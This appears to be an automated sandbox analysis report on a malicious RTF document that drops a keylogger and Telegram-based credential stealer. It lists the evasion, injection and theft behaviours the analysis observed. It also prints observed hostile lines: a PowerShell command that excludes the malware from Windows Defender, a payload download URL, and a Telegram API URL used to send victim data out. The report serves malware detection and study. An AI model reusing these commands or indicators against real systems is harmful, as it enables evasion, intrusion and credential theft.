Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 1B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 2170000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 940000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 5F10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 6F10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 7070000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 8070000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 87D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 97D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: A7D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 1C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 2300000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: 450000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1966 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4808 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Window / User API: threadDelayed 9543 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3328 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3492 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3708 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3632 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3716 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3748 Thread sleep time: -13835058055282155s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3748 Thread sleep time: -9600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3752 Thread sleep count: 9543 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe TID: 3752 Thread sleep count: 276 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3820 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_001D9A4C LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk, 8_2_001D9A4C
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Memory written: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Queries volume information: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Queries volume information: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1545179 Sample: na.doc Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 41 Initial sample is an obfuscated RTF file 2->41 43 Suricata IDS alerts for network traffic 2->43 45 Found malware configuration 2->45 47 23 other signatures 2->47 8 WINWORD.EXE 291 18 2->8         started        process3 file4 27 C:\Users\user\Desktop\~$na.doc, data 8->27 dropped 11 EQNEDT32.EXE 11 8->11         started        16 EQNEDT32.EXE 8->16         started        process5 dnsIp6 39 87.120.84.38, 49165, 80 SHARCOM-ASBG Bulgaria 11->39 29 C:\Users\user\AppData\...\cmnjgyugo61000.exe, PE32 11->29 dropped 31 C:\Users\user\...\CLLPdgxhnmwGf5Y[1].exe, PE32 11->31 dropped 65 Office equation editor establishes network connection 11->65 67 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->67 18 cmnjgyugo61000.exe 3 11->18         started        file7 signatures8 process9 signatures10 49 Machine Learning detection for dropped file 18->49 51 Adds a directory exclusion to Windows Defender 18->51 53 Injects a PE file into a foreign processes 18->53 21 cmnjgyugo61000.exe 12 2 18->21         started        25 powershell.exe 4 18->25         started        process11 dnsIp12 33 reallyfreegeoip.org 21->33 35 api.telegram.org 21->35 37 8 other IPs or domains 21->37 55 Installs new ROOT certificates 21->55 57 Tries to steal Mail credentials (via file / registry access) 21->57 59 Tries to harvest and steal browser information (history, passwords, etc) 21->59 signatures13 61 Tries to detect the country of the analysis system (by using the IP) 33->61 63 Uses the Telegram API (likely for C&C communication) 35->63
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 unknown United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 unknown European Union
13335 CLOUDFLARENETUS false
87.120.84.38
 unknown Bulgaria
51189 SHARCOM-ASBG true
193.122.6.168
 unknown United States
31898 ORACLE-BMC-31898US false
188.114.96.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
158.101.44.242
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.96.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 158.101.44.242 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://reallyfreegeoip.org/xml/173.254.250.78 false
    		unknown
    http://checkip.dyndns.org/ false
    • URL Reputation: safe
    		 unknown
    http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe true
      		unknown
      https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
        		unknown